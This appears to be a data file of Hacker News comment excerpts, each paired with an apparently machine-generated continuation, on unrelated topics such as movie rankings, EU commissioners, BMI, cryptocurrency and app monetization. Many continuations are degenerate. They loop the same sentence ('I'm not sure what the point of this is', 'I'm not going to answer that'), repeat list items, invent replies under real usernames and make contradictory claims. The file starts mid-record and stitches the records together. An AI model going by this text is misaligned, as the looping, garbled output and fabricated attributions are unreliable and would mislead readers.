here), who finally relented, and suggested\nMike Markkula, who joined Apple and became one of the early investors.\n\nThat I'd consider a worthy non-tech founder. but then again, the traits that\nJobs exhibited had nothing to do with MBA. I am not even sure there is\nanything distinctively 'business' about it. It's more just what PG called\ndeterminedness.\n\n------\njarin\n\"Touch\u00e9.\" \u2014The Developer Community\n\n------\nsupershazwi\n1 mba guy < 1 technical guy < 1 technical+mba guy < 1 technical guy 1 mba guy\n< 2 technical+mba guys.\n\nI remembered one post here that stated that the best return if you partner one\n'business guy' is if that guy has things like contacts, a customer list, etc.\n\n~~~\nsqrt17\nMore to the point, you need either a cofounder that you would entrust your\nlife to _or_ you need to have part of the requisite skillset so you can choose\none that is competent and does not need to be too far out of your league.\nBecause an incompetent cofounder will mess up exactly those things you can't\nhandle, and one that's out of your league will either only have contempt for\nyou or steal your idea and Zuck you.\n\n------\nfbcocq\nIn case you missed the reference:\n\n\n~~~\nredthrowaway\nNow it makes sense. I thought that post seemed a little flippant.\n\n------\nDeusExMachina\n_I feel bad for some of you technical cofounders. You guys just don't 'get\nit'"} +{"output_text": "omsubban\nThat's not the same as the list of movies he's reviewed.\n\n------\nmatt_the_bass\nI\u2019m surprised that \u201cThe Big Lebowski\u201d is not on the list.\n\n~~~\nzucker42\nI'm not sure if it's on the list, but it's definitely on my list of favorite\nmovies.\n\n------\nmatt_the_bass\nI\u2019m surprised that \u201cThe Big", "input_text": " by Errol Morris.\n\n[https://www.rogerebert.com/reviews/great-movie-gates-of-\nheav...](https://www.rogerebert.com/reviews/great-movie-gates-of-heaven-1978)\n\n------\nchillee\nSelf-promotion (of sorts), but I (with some friends) have been watching lots\nof movies and keeping globally ordered rankings on github here:\n[https://github.com/chillee/movierankings](https://github.com/chillee/movierankings)\n\nI find globally ordered rankings of movies to be an interesting exercise of\nconsistency.\n\n------\nsamteeeee\nFolks interested in this topic might like my new side-project: get an email\nwhen your favorite director releases a new movie -\n[https://directoralerts.website](https://directoralerts.website)\n\n------\nngcc_hk\nMinor instruction to make it work for me:\n\npip3 install BeautifulSoup pip3 install mechanize mkdir data\n\nGuess you can check data directory but not sure about the pip3, python does\nnot like R I am not sure and can it pip3 install when not exist....\n\n------\nboomboomsubban\nOnly three movies in the past fourty years, non past 87, is surprising. Is\nPrime that full of older content or did Ebert's recommendations just stop\ncoming from major studios?\n\n~~~\nzucker42\nUsing [https://www.rogerebert.com/great-\nmovies](https://www.rogerebert.com/great-movies) you can filter by date\n\n~~~\nboombo"} +{"output_text": " parliament.\n\nThe EU Commission is a body of people who are elected by a directly elected\nparliament.\n\n~~~\ngaius\n_Both national MPs and EU commissioners are public officials who form public\npolicy that affects citizens' lives._\n\nNo, they are not. The EU Commissioners are not elected by the people of the\nEU. They are appointed by the governments of the member states.\n\n~~~\nbenaston\nI'm not sure what you mean", "input_text": "\nany member state. The commissioners are as far away from the public vote as\nalmost any member of government in the member states.\n\n~~~\nbenaston\nBoth national MPs and EU commissioners are public officials who form public\npolicy that affects citizens' lives. In that much they are comparable. Both\nprocedurally and in scope of effect there will be differences of course\n(commissioners are much more powerful, and therfore should be held to a higher\nlevel of scrutiny).\n\nIn any case, similarity of jobs is orthogonal to the narrow question - who has\nthe stronger mandate?\n\nTake Person A who via an elected representative would like to effect\nlegislative change in their nation. Who has the stronger mandate to take\naction?\n\nIn other words, which representative would be closer to the truth in saying\nthat \"they were acting in Person A's name\"?\n\n1\\. For the sake of argument, let's take the UK Prime Minister. He is voted\nfor by a party consisting of members of the public via an open process to\nrepresent a specific platform; is elected directly by a constituency numbering\nin the low tens of thousands of people who happen to live in a geographical\narea of the nation under representation.\n\nFurthermore, the representative is a widely known public figurehead with a\nwell-known platform meaning that although members of the public in other\nconstituencies cannot affect his election to parliament directly, they can\naffect the amount of power he wields. The election covers 70 million people.\n\n2\\. For an EU Commissioner a shortlist of representatives are chosen _in\nsecret_ by a team of people, each of whom is a proxy, elected via a process\nsimilar to (1). One of the shortlist is chosen by a vote from members of a\ndirectly elected"} +{"output_text": ".\n\n------\njoshu\nI'm not sure what the point of this is.\n\n------\njoshu\nI'm not sure what the point of this is.\n\n------\njoshu\nI'm not sure what the point of this is.\n\n------\njoshu\nI'm not sure what the point of this is.\n\n------\njoshu\nI'm not sure what the point of this is.\n\n------\n", "input_text": ".\n\n------\nChoronzon\nThis looks like a mean rather than a median distribution,so our American here\nis probably heavier than than the \"average\" normal. Weight distributions are\nstarting to skew to the right due to the existence of a small percentage of\nutterly massive individuals. 15 kilos under normal weight is extremely skinny\nwhile being overweight can go into over 100 kilos at the extremes.\n\n------\nJoshGlazebrook\nI would rather see something on body fat percentage. BMI is not an ideal\nmeasurement in terms of health for a lot of body types.\n\n~~~\nKurtz79\nI don't agree. BMI accounts for height by its own definition and for\nhealth/body types by leaving large margins for the definitions of\nnormal/overweight/obese.\n\nIt might not be a precise measure for some individuals (athletic, heavy\nmuscled males) but what percentage are those in the context of a whole country\n?\n\nAs an average/indicator over a large sample is perfectly acceptable, in my\nopinion.\n\n~~~\nyummyfajitas\nBMI is const x weight/height^2. Volume is proportional to height^3, unless you\nbelieve tall people grow in only 2 directions. So BMI ~ height. That's why\nmost of the NBA is obese.\n\n~~~\nDanBC\nEveryone mentions athletes whenever BMI is mentioned.\n\nMost people are not athletes. Most people do very little exercise. When using\nBMI for an individual you ask them if they do any exercise, but for\npopulations it's fine.\n\n~~~\nyummyfajitas\nI mention the NBA due to height, not athleticism. BMI is an overestimate for\ntall people and an underestimate for short people, due to the scaling law"} +{"output_text": " abstraction.\n\nI'm not sure what you mean by point 4. I've lived in Japan for a year and\nlived in the UK for a year and I've never had any trouble getting an apartment\nor anything.\n\n~~~\nownerthrowaway\n1\\. I'm not sure what you mean by \"work culture\". I'm not talking about work\nculture. I'm talking about the culture of the company.\n\n2/3\\. I'm not sure what you mean", "input_text": "\nto talk this over with someone in person - probably someone with experience.\n\n~~~\nownerthrowaway\n1\\. I came here after graduating college and really liked living here, so I\nstayed.\n\n2/3\\. I've had three so far. The first one was a startup (I was an employee)\nthat ran out of money. The second I spent 6 months working there but I\ncouldn't concentrate on the work and couldn't produce anything. I don't think\nI committed any lines of code in 6 months. I was ashamed of my performance and\nquit right after renewing my visa. The third job I was there for 2 months. I\nfelt even more pressure after doing poorly at the previous job. I felt so\nconfused even when just setting up the environment. I barely managed to do\nanything in 2 months and used to just hide in the toilets sobbing. I felt\nashamed and couldn't handle it anymore so I quit.\n\n4\\. Foreigners have lots of trouble getting apartments etc in Japan. If I just\npack a suitcase and get on a plane leaving everything here in the lurch I'd\nfeel bad because it has effects on other people.\n\n5\\. Maybe 40k?\n\n~~~\nscandox\nI feel like points 1 + 2/3 are in pretty stark contradiction to each other,\nhonestly speaking. Work is a pretty important part of life (if one must work\nthat is). It's clear that you're finding the work culture there dispiriting\nand uncongenial.\n\nIf I were you I'd get my money out and take an extended trip home (if that is\npossible for you). You're worrying about other people at a time when you need\nmore care than they do - after all \"they\" are a pure"} +{"output_text": " not going to work out today because I have to get this code shipped.\"\n\n~~~\njoshu\nI think the point is that you can't just say \"I'm not going to work out today\nbecause I have to get this code shipped.\"\n\nYou have to say \"I'm not going to work out today because I have to get this\ncode shipped, and I'm going to get this code shipped by eating a cheeseburger\nand drinking a beer.\"\n", "input_text": " lot of startup founders get into bad habits--all-\nnighters because they've just _gotta_ launch that new feature (which they rush\ninto production, it breaks everything, and then they have to stay up even\nlonger to roll it back, or fix the problems), eating nothing but ramen and\ncheap takeout, because they imagine cooking takes too long (though I've found\nmaking simple meals at home is more time-effective, generally), etc.\nEverything takes a back seat to working, which I think is counter-productive.\nYou can't sustain that kind of thing, and when you burn out, you'll burn out\nhard. If you don't sell the company within the \"candle at both ends\" phase\n(however long you can maintain that), you'll hit a brick wall and slow to a\ncrawl for a while (you'll also probably look back on your code and wonder WTF\nyou were thinking).\n\nIn short, I agree. You probably should view having your own company as an\nopportunity to live right, rather than an excuse to live terribly. Maximizing\nhealth and happiness is probably not a bad way to work towards success, as\nlong as \"happiness\" does not involve lots of vacations and living beyond your\n(probably very limited) means.\n\n~~~\nmattmaroon\nThose bad habits would probably exist for most of those people no matter where\nthey worked. Startup founders are a tiny portion of the overall population and\nin my relatively small, unscientifically counter sample don't appear to suffer\nany more from obesity than the rest of the population.\n\nObesity comes from people allowing themselves excuses. \"I'm not going to work\nout today because I have to get this code shipped\" would just as easily become\n\"I'm"} +{"output_text": " good long term strategy.\n\n------\nm0zg\nI'm not sure I understand the point of this article. It's a bit like saying\n\"the US is losing its manufacturing lead\" and then going on to list all the\nmanufacturing companies that have moved to China.\n\n~~~\nm0zg\nI'm not sure I understand the point of this article. It's a bit like saying\n\"the US is losing its manufacturing lead\" and then going on to", "input_text": "https://docs.brew.sh/Installation#macos-requirements)\n\n------\ngumby\nHe big reason to move production offshore was labor cost (straight comparative\nadvantage); now it\u2019s path dependency as the whole supply chain has migrated.\nThis was the US\u2019s big advantage 1890s-1980s but that time has passed.\n\nAdvanced robotics will offer a chance of a fundamental restructuring as labor\ncosts continue to contribute a declining proportion of COGS. The factories and\nsupply chains could be completely distributed and resilient. But the example\nof the Internet is discouraging: the ultimate end-to-end system ended up\nhighly centralized too.\n\n------\nRafuino\nOof, fun times at Intel right now. There are pockets of Intel not forgetting\nwhat made it successful, but they're usually the most difficult places to grow\na career as they get snuffed out pretty quick\n\n------\nphlo\nDuplicate of\n[https://news.ycombinator.com/item?id=23538826](https://news.ycombinator.com/item?id=23538826)\n(which was posted a few minutes earlier).\n\n~~~\nWowfunhappy\nRightfully or not, I think this is the version of record at this point, given\nthat it's sitting at the top of HN right now. They will probably get merged\nlater.\n\n------\nbgorman\nIntel has lost its manufacturing lead, but these changes are not permanent.\nThere is a good chance TSMC stumbles as transistors shrink. Intel has a chance\nto catch up, but it seems like Intel has structural problems that prevent it\nfrom winning deals to manufacture third party designs. Relying on complete\nvertical integration doesn't seem like a"} +{"output_text": " with exercise.\n\n~~~\ngoostavos\nI'm not sure I follow. I'm not sure I understand how the body scales back\ncalories when you cut calories.\n\n~~~\npolyfractal\nThe body will use less energy to maintain the same level of activity.\n\n------\njoshu\nI'm not sure I understand the point of this article.\n\nThe author is saying that the \"diet industry\" is a scam. But the", "input_text": " whatever Real Science gets quoted, will soon be challenged by another\npaper saying something opposite,\n\n\\- d) people try to reason from common sense (\"surely if you eat less X you'll\nbe less fat, because X does this-and-that\"); I was a believer of the\nthermodynamics-like theory that deltaWeight = weight + (calories in - calories\nout)*stuff; many a post on HN convinced me that it's not true, even though it\nsounds much more obvious than typical dietetary nonsense you'll hear from your\nrandom friend.\n\nI'm against blaming everything on people being not determined or hardworking\nenough. For one, it's wrong attitude (any system that assumes strong willpower\nor moral high ground from people will fail because of human nature; it's\nbetter to engineer around it), and secondly, there are indications that the\nsame diet/exercise combination executed with the same determination will have\ngreat effects on some, moderate on others, and zero-to-negative on few\nunfortunate people.\n\n~~~\ngoostavos\nOut of curiosity, what were the arguments that convinced you that simple\ncalories in/out ins't valid?\n\nI'm personally a tiny bit incredulous anytime someone mentions that they've\ntried cutting calories, but with no results. I've always wondered how they\ncontinue to get an energy surplus in the absence of input. These seemingly\nperpetual motion machines would be of great interest to science, I'm sure ;)\n\n~~~\npolyfractal\nTo be fair, the human body is pretty good at limiting calorie depletion when\ncaloric intake decreases. When you cut calories, your body automatically\nscales back how much you are using.\n\nOf course, this is why any good diet _needs_ to be coupled"} +{"output_text": " gold is a better store of value than\ncryptocurrencies. Gold is a physical commodity, and it's not subject to\ninflation. It's also not subject to the same kind of speculative bubbles that\ncryptocurrencies are.\n\n~~~\njstanley\n> Gold is a physical commodity, and it's not subject to inflation.\n\nIt's not subject to inflation because it's not a currency.\n\n~~~\nmaxander\nIt's not a currency because it", "input_text": " and require trust in a few in various\nways, and some are decentralized trust-less but still inflationary.\n\nThere is even cryptocurrencies which do not use Proof-of-Work, or Proof-of-\nStake, or Proof-of-Anything - but still can reach consensus in open\ndistributed network.\n\n~~~\nineptech\nSure, but this is an article specifically about BTC; none of its conclusions\nhold for cryptocurrencies generally. I guess it just seems really deceptive to\ntalk about fiat's \"hidden cost\" of inflation while ignoring BTC's not-at-all-\nhidden cost.\n\nSimilarly, I'm unclear on why confirmation times aren't considered a serious\nproblem. It seems like BTC enthusiasts like to discuss a hypothetical future\nin which the BTC infrastructure is so mature that you can buy coffee without\nworrying about fees and confirmation times, but I don't see how we get there\nfrom here. Either the payment takes hours to confirm (leaving the coffee shop\nvulnerable to double-spending) or it goes through an off-chain processor (who\nwould demand to know my identity). Either way you're losing one of the main\nselling points of using a cryptocurrency in the first place.\n\n------\nmaxander\nThe argument makes some intuitive sense (more people buying X over Y makes the\nvalue of X go up, which makes holding X more desirable, so more people buy X\ninstead of Y...), but if this effect actually happened I don't see why it\nwould happen with a cryptocurrency and not, say, gold. Nothing about the\nargument seems specific to cryptocurrencies- it's used here simply as a\ncommodity whose value has historically been going up for awhile, and which\npeople feel pretty bullish about.\n\nThere are other reasons, also, why"} +{"output_text": " will choose to spend their inflationary fiat currency\ninstead of their deflationary cryptocurrency?\n\n~~~\njstanley\n> People will choose to spend their inflationary fiat currency instead of\n> their deflationary cryptocurrency.\n\nPeople will choose to spend their inflationary fiat currency instead of their\ndeflationary cryptocurrency because they will be able to spend it more\neffectively.\n\n~~~\nzupa-hu\nI don't understand.\n", "input_text": " cannot recommend it enough. It's hilarious, like\nthe cambrian explosion of cryptomoney.\n\n~~~\nroot_axis\nBitcoin is not \"better\" than fiat currencies, it's worse in every way except\nfor the fact that it is not operated by a central authority. In terms of\nconvenience, security, and ease of use it is clearly worse. The world does\nneed a \"back channel\" currency, and bitcoin is a perfect fit for this, but it\nwill never move beyond that because there's simply no reason for the masses to\nuse it.\n\n~~~\nericb\n> it's worse in every way except for the fact that it is not operated by a\n> central authority.\n\n-It is lighter--I can carry it in my head\n\n-It travels faster\n\n-It is not inflated by 2% a year\n\n-It cannot be forged\n\n-It can cross borders\n\n~~~\nAstralStorm\nIt is inflated but currently its value gain masks that.\n\nYou cannot carry those big numbers in your head comfortably. Heck, it is\ntricky to carry a wallet ID. Even trickier to get a physical transaction done\nwith BTC.\n\n~~~\nericb\nSee my link about brainwallets above.\n\n------\nzupa-hu\nI'm confused. Gresham's law sais \"bad money drives out good\". Inflation is\nbad, so from that follows that the money that inflates more will be more used.\nOkay, I buy that.\n\nThen this:\n\n> When the singularity is reached, I think people will be more likely to\n> choose to spend their inflationary fiat currency instead of their\n> deflationary cryptocurrency.\n\nI'm lost here. People"} +{"output_text": " exit strategy?\n\nLingua: I'm not going to answer that.\n\nDanbom: I'm not going to answer that.\n\nLingua: I'm not going to answer that.\n\nDanbom: I'm not going to answer that.\n\nLingua: I'm not going to answer that.\n\nDanbom: I'm not going to answer that.\n\nLingua: I'm not going to answer that", "input_text": "-class language\nsolutions.\n\nDanbom: How do you stay ahead of others in the buzzword industry?\n\nLingua: Net-net, my value proposition is based on maximizing synergies and\nbeing first to market with a leveraged, value-added deliverable. That's the\nopportunity space on a level playing field.\n\nDanbom: Does everyone in business eventually devolve into the sort of mindless\ndrivel you spout?\n\nLingua: If you walk like a duck and talk like a duck, you're a duck. They all\ndrink the Kool-Aid.\n\nDanbom: Do you read \"Dilbert\" in the newspaper?\n\nLingua: My knowledge base is deselective of fiber media.\n\nDanbom: Does that mean \"no\"?\n\nLingua: Negative.\n\nDanbom: DOES THAT MEAN \"NO\"?\n\nLingua: Let's take your issues offline.\n\nDanbom: NO, WE ARE NOT GOING TO TAKE MY \"ISSUES\" OFFLINE.\n\nLingua: You have a result-driven mind-set that isn't a strategic fit with my\ngame plan.\n\nDanbom: I am not getting the answers that I need from you.\n\nLingua: Your call is very important to me.\n\nDanbom: How can you live with yourself?\n\nLingua: I eat my own dog food. My vision is to monetize scalable supply\nchains.\n\nDanbom: When are you going to quit this?\n\nLingua: I may eventually exit the business to pursue other career\nopportunities.\n\nDanbom: What is your"} +{"output_text": " be open to it, some won\u2019t.\n\n10\\. Find out the investor\u2019s investment thesis.\n\n11\\. Find out the investor\u2019s investment thesis.\n\n12\\. Find out the investor\u2019s investment thesis.\n\n13\\. Find out the investor\u2019s investment thesis.\n\n14\\. Find out the investor\u2019s investment thesis.\n\n15\\. Find out the investor\u2019s investment thesis.\n\n16\\. Find out the investor\u2019s investment thesis", "input_text": "filter them, don\u2019t send them any and all), or introduce family offices\nlooking to put funds into a pool; then you can contact them a lot earlier.\n\n3\\. There is another way that you can connect with investors, \u201cget an intro to\nus via someone in our network\u201d. With some investors this will be the only way.\n\n4\\. Note the investor landscape, find out their investment thesis. See if\ntheir portfolio has any that could be competitors, any synergies, etc.\n\n5\\. Find out the required milestones (for your current stage and the next\none). This can be a difficult one to find out, for it can pin some of them\ndown a bit too much, especially when they take so many other things into\nconsideration. If they don\u2019t mention it on their site, and there is nothing in\nCrunchbase et al, you\u2019ll have to ask them down the line.\n\n6\\. Find out more about the appropriate partner at the VC firm whom is\ninvolved in your niche. If you can\u2019t find the appropriate partner, aim for the\ntop, and have them point you in the right direction.\n\n7\\. Acquire information about the partner and use it to formulate an email\nthat is about them. I will typically provide a few of my thoughts on something\nthey said in an article. They will be genuine thoughts. No brown-nosing, no\ncompliments for the sake of it, etc, etc.\n\n8\\. Find out the firms current position in the fund life-cycle: are they open\nto new investments, only open to portfolio synergies, only follow-on funds\nleft, etc.\n\n9\\. If the investor\u2019s portfolio has competitors and/or synergies find out\nwhere they stand on this. Some will"} +{"output_text": " I don't need to know about the history of the development of\nstatistics to understand the current state of the art.\n\n2\\. The paper is written in a way that makes it seem like the \"p value\" is\nsome kind of magical number that is somehow \"true\" and \"false\" and \"right\" and\n\"wrong\". I don't think that's true. The p value is a measure of the\nlikelihood of a result being due to chance. It", "input_text": "\n~~~\ncl42\nHmm, interesting -- I never considered the idea of including junk features to\nbias model's preferences of whatever theoretically ambiguous idea you're\ntrying to promote. That's actually brilliant.\n\n~~~\nmbq\nShameless plug; I'm a co-author of a method that leverages adding artificial\njunk features and removing original ones that are likely nonsense to\napproximate the set of all features that are relevant to the problem (rather\nthan standard make best model, which may be pretty deceiving).\n[https://m2.icm.edu.pl/boruta](https://m2.icm.edu.pl/boruta)\n\n------\nbijection\n[https://www.youtube.com/watch?v=5OL1RqHrZQ8](https://www.youtube.com/watch?v=5OL1RqHrZQ8)\nis a good demonstration of this.\n\n\"I use pictures from the ESCI software to give a brief, easy account of the\nDance of the p Values. The simulation illustrates how enormously and\ndisastrously variable the p value is, simply because of sampling variability.\nNever trust a p value!\"\n\n------\namluto\nI found this paper to be quite interesting, but I have two issues with it.\n\n1\\. At least at the beginning, it focuses excessively on the historical\naspects of statistics. For example, it says that \"most applied researchers are\nunmindful of the historical development of methods of statistical inference,\nand of the conflation of Fisherian a nd Neyman\u2013Pearson ideas.\" To me,\nstatisticians shouldn't /have/ to understand the history at all. For example,\nas a physicist,"} +{"output_text": " information on what the current status is?\n\n~~~\ncyphar\nI'm not sure if I can share any more information than what's in the blog post\nlinked above.\n\n------\njosteink\nI'm not sure if I'm missing something, but isn't this just a way to run\ncontainers on a hypervisor?\n\nI mean, I get that it's a way to run containers on a hypervisor, but isn't\nthat what Docker", "input_text": "\nchrissnell\nI don't get your argument. If I'm reading this correctly, you're arguing that\nsystem calls and/or a call to a shared library function are cleaner than RPC\nto another process?\n\nThe overhead of RPC in an application like this is tiny and the cost of an\nadditional process on 2016 equipment is non-existent.\n\n~~~\nvidarh\nIt's more things that can fail that now needs monitoring. (EDIT:) And in the\nspecific case of rktlet you _still_ end up forking/execing anyway.\n\nThe overhead isn't necessarily a big deal (and can easily go the other way -\nif the request frequency is high enough, it's cheaper to keep the process\naround), but it does also potentially add up.\n\n------\nphilips\nThis was posted last week but here is rkt's roadmap around Kubernetes's CRI\nand use of OCI's runc: [https://coreos.com/blog/rkt-and-\nkubernetes.html](https://coreos.com/blog/rkt-and-kubernetes.html)\n\n------\ncyphar\nCurrently quite a few people from the OCI community (including myself) are\nworking on implementing a CRI-compliant runtime[1] around runC and the various\nOCI specifications as well as the containers/image and containers/storage\nprojects. There's a lot of cool design to ocid which means that it doesn't\nrequire a daemon to be constantly running.\n\n[1]: [https://github.com/kubernetes-\nincubator/cri-o](https://github.com/kubernetes-incubator/cri-o)\n\n~~~\nvidarh\nDo you have any more specific"} +{"output_text": ")\n\n3) AdMob (iOS)\n\n4) AdMob (Android)\n\n5) AdMob (Android)\n\n6) AdMob (iOS)\n\n7) AdMob (Android)\n\n8) AdMob (iOS)\n\n9) AdMob (Android)\n\n10) AdMob (iOS)\n\n11) AdMob (Android)\n\n12) AdMob (iOS", "input_text": "Help HN: The Exhaustive List of App Monetization Methods (w/Links!!) - Terpaholic\nPost is too big to fit into the text box so I'll put it in the comments :)\n======\ncreativeone\nTap2print () Custom API to allow for printing and\nfulfillment of almost anything from content in your app.\n\n------\nTerpaholic\nI had difficulty monetizing my app and gathered a lot of links I think might\nbe useful to other people. Let's build the best list of ways to monetize apps!\nI'll update this list regularly with info from the comments.\n\n _Categories_\n\n _Free To User_\n\n1) Ad Networks (Banner Ads)\n\n2) Affiliate and CPA (Pay When User Installs Other App)\n\n _Cost To User_\n\n3) Paid Apps (Charge upfront for the app)\n\n4) In-App-Purchase Approaches (Currency, Unlocking Features, Freemium)\n\n5) Subscription (Recurring Data Updates, SAAS)\n\n _Misc_\n\n6) Facebook\n\n7) Sponsors (Dedicated advertisers)\n\n8) Email Lists (Alternative monetization method)\n\n9) Merchandise (Works if the app has strong characters)\n\n10)?? Coming Soon??\n\n _1\\. Ad Networks_\n\nPlease share your experiences so this can become an ordered list with the best\nat the top.\n\n1) TapJoy ()\n\n2) AdMob ("} +{"output_text": "12\nI think the idea is great, but the execution is terrible.\n\n------\nm0zg\nI'm not sure what the point of this is. The idea is great, but the execution\nis terrible.\n\n~~~\nm0zg\nI'm not sure what the point of this is. The idea is great, but the execution\nis terrible.\n\n------\nm0zg\nI'm not sure what the point of this is. The idea is great", "input_text": "1]\n[https://en.wikipedia.org/wiki/E-gold](https://en.wikipedia.org/wiki/E-gold)\n\n------\ncodegladiator\n> this paper was published as part of this free-for-all part of the Free\n> Science part of the Royal Society effort\n\nBut but... can facebook not \"lift for free\"?\n\n------\nquotemstr\nNobody owns ideas.\n\n~~~\ncsallen\nIf only more people understood this. Not only does nobody own an idea, but we\nreally don't want to live in a world where the opposite is true.\n\n~~~\nallana\nRight to Read is a good piece on this topic:\n[https://www.gnu.org/philosophy/right-to-\nread.html](https://www.gnu.org/philosophy/right-to-read.html)\n\n------\n0xC0FFEE\nThe paper was published 18 July 2018. The public inital commit of libra was on\n18 June 2019 and had 1,063 changed files. That could be a coincidence or not.\nFact is, only one has realized the idea.\n\n------\nxwdv\nNo sympathy for this guy at all. Think just because you\u2019re an \u201cMIT fellow\u201d\nyour claims to an idea carry more weight than people from other institutions\nor organizations? Get out of here with this entitlement, tons of people come\nup with exactly the same ideas all the time.\n\n~~~\ngibba999\nPlus, 9 times out of 10, it's the MIT types who lift ideas from others and\npromote them with MIT's increasingly well-polished hype machine. Within MIT,\nMedia Lab is central to this problem.\n\n------\nmalicioususer"} +{"output_text": ", but I don't really like it.\n\n------\njamesjyu\nI've been using Vim for years, and I've never been able to get over the\n\"learning curve\" of it. I've tried to use it for a few projects, but I always\nend up going back to Emacs.\n\nI've been using Emacs for years, and I've never been able to get over the\n\"learning curve\" of it. I've tried", "input_text": "types of programming, and again I don't think we have to paint it as choosing\none or the other.\n\nFor example, when I worked on parallel algorithms for very large clusters, I\nwas really missing some of the things IDEs provide like graphical debuggers.\nWhile a better-designed language may have made some parts of my task easier,\nit would also have made low-level optimization much harder.\n\ntl;dr - different things needed for different situations\n\n------\naidenn0\nThis first two-thirds article is so contrary to my actual experience that I\nalmost didn't finish reading it. Most people I know that uses a cutting-edge\nlanguage bemoans the lack of tooling, and they often hack something up\n(usually as an editor plugin) to make due.\n\nThinking about it more, I do know some people that would fall under the\nauthors definition of \"Language Maven\" and I think there it is not the lack of\ntooling that makes them eschew tooling, it that so much tooling is garbage. An\nexample: when you use a cross-reference browser and it either misses some of\nthe references, or lists so many false-references that you have too low a SNR\nto find what you were looking for, it makes you stop using cross-reference\nbrowsers.\n\n------\ndmritard96\nIt depends on what I am working on. If I am writing some stupid GUI in VB, or\nsomething in matlab, etc. - well yeah, may as well use the IDE. For my\nprojects at home (and when I was in school) I tend to use gedit with a couple\nof plugins (nothing lang. specific though) - typically working in c, c++,\npython, bash. Sometimes I use vim"} +{"output_text": " a tablet? (I'm not convinced that's\npossible yet, but I'm not convinced it's not.) You want to show me someone\ndoing serious work on a netbook? (I'm not convinced that's possible yet, but\nI'm not convinced it's not.)\n\nI'm not convinced that the netbook is dead yet, but I'm not convinced it's\nnot.\n\n~~~\njrockway\n_I'm not convinced it's not._\n", "input_text": " part of them, as desktop work will still be needed.\n\n------\neftpotrm\nWell, I certainly hope that reports of the netbook's death are in fact reports\nof the death of the netbook's _hype_...\n\nI'm another of those who find them almost perfect devices. It gets used for\nreal, serious, mobile computing. Visual Studio 2010 and SQL Server 2008 R2 on\na netbook with a long battery life make a wonderful go-anywhere productivity\ndevice and let me work far, far more easily than I could otherwise because it\ncan just slip in the bottom of my bag. I can and do write music on it almost\nanywhere in a MIDI sequencer. Firefox works well for regular browsing,\nOpenOffice works well for note taking in meetings. I can touchtype on my\nnetbook with comparable speed and accuracy to any other device, certainly fast\nenough to take notes live in a presentation. I won't claim it's fast enough\nfor doing any very heavy photography work but it's a very useful portable\npreview and backing storage device.\n\nGive me a tablet with a card reader and decent storage and I could do the\nphotography as easily on that, I'll concede. Give me a good mobile browser and\nthat's pretty much as good as on the netbook, though from my experience with\nAndroid Firefox and Chrome I'm not convinced yet. Music? Maybe, I can see it\ncould be done but I'm not sure the apps are there yet from what I've heard.\n\nThe rest though? You want to show me someone typing at an accurate 100WPM on a\ntablet without an external keyboard? (By which point I'd rather have them\nintegrated and a bit more rugged, personally.) You want to show me someone\ndoing serious software development on"} +{"output_text": " any reason to\nswitch.\n\n~~~\nsolarkraft\nI don't think they will ruin Github. But I do think they will ruin the\necosystem.\n\nI don't think they will ruin Github. But I do think they will ruin the\necosystem.\n\nI don't think they will ruin Github. But I do think they will ruin the\necosystem.\n\nI don't think they will ruin Github. But", "input_text": " could afford to give so much away for free.\nWhile I can't find the exact statement now, I was affected somewhat by their\ndedication to always offering unlimited free repositories, believing that such\naccess was along the lines of a \"digital right\". Obviously there's strategy to\nall of this, but following them all this time it's nice to believe that\nperhaps the top of the organization still believe in that goal too.\n\n------\nimr_\nfantastic move. perfect timing and opportunity.\n\n------\ndudus\nTime to capitalize on the senseless sudden hate for gitHub\n\n~~~\nsolarkraft\nMicrosoft does have a terrible history regarding open source.\n\nGithub felt safe before, a neutral ground for Google, Microsoft, Apple,\nFacebook, Netflix, Amazon all come together and share their love for code and\njust code.\n\nNot so much anymore. The hate is over-blown, but it does feel weird now. With\na knowledge of Microsoft products I can understand why many people would see a\nbleak future ahead [0].\n\n[0]: Relevant image going around the internet: [https://desu-\nusergeneratedcontent.xyz/g/image/1528/18/152818...](https://desu-\nusergeneratedcontent.xyz/g/image/1528/18/1528185357874.jpg)\n\n~~~\nssijak\nWhy not just first wait for their actual moves before spreading panic. I don`t\nlove microsoft and use 0 of their software/hardware products but I don`t\nbelieve they will ruin Github. It would ruin their reputation with developers\nto a very large degree.\n\nBut if they do, it is so easy to switch, that I do not see"} +{"output_text": "d.com/re2/tag/great-\nmovie/films/by/release-...](https://letterboxd.com/re2/tag/great-\nmovie/films/by/release-earliest/streaming-service/amazon-prime-us/)\n\n~~~\ndang\nThanks! I'll add that to the post.\n\n------\ndang\nRelated from a few days ago:\n[https://news.ycombinator.", "input_text": "://letterboxd.com/dvideostor/list/roger-eberts-great-movies/)\n\nYou can look at each movie to see what streaming service it's on one at a time\nfor free.\n\nIf you have a pro paid account, you can even do:\n\n[https://letterboxd.com/dvideostor/list/roger-eberts-great-\nmo...](https://letterboxd.com/dvideostor/list/roger-eberts-great-\nmovies/on/amazon-prime-us/)\n\nWhich shows that there are 39 movies in Amazon Prime US from Ebert's \"Great\nMovies,\" not 21 like this guy's spreadsheet says.\n\nTo be fair, the exercise was to scrape the reference sources... so it might\njust need some refinement.\n\nNeed to double check though if both lists are correct, only confirmed number\ntotals.\n\n __Full disclosure: That letterboxd list is not mine, I just found it __\n\n~~~\njs2\nFWIW, I screen scraped rogerebert.com and copied all of his ratings and an\nexcerpt of every review to letterboxd:\n\n[https://letterboxd.com/re2/](https://letterboxd.com/re2/)\n\nJust the great movies:\n\n[https://letterboxd.com/re2/tag/great-\nmovie/films/by/release-...](https://letterboxd.com/re2/tag/great-\nmovie/films/by/release-earliest/)\n\nYou can then filter those by streaming service, but you need a pro account.\nLooks like 38 movies:\n\n[https://letterbox"} +{"output_text": " by simply buying more assets).\n\nThe Fed is a fraud, and the entire Keynesian experiment is a fraud.\n\n~~~\nArchD\nI don't think it's a fraud. I think it's a necessary evil.\n\nI think the Fed is doing the best they can with the tools they have.\n\n~~~\nadventured\nThe Fed is doing the best they can with the tools they have.\n\nThe Fed is doing the best they can with", "input_text": " to spread wealth more evenly around the world. Such a\npolicy is he most \"progressive\" policy given the current skew of asset\ndistributions. Its possible to de-link asset vol from job creattion. Look no\nfurther than the recent inflation of asset values and the lack of net-job\nadds. So, as it is on the way up...so it is on the way down. The beauty of\nvariance and volatility is that they are naturally \"neutral\" terms.\n\nThe argument that there needs to be inflationary bias to create jobs is weak\non many levels. This is just one.\n\n------\nArchD\nI don't know why people are talking as if deflation is a real thing when\nthere's a worldwide property bubble going on and property price is a a very\nreal aspect of the cost of day-to-day living. One must question the CPI\nmetrics used.\n\n~~~\nadventured\nIt's a 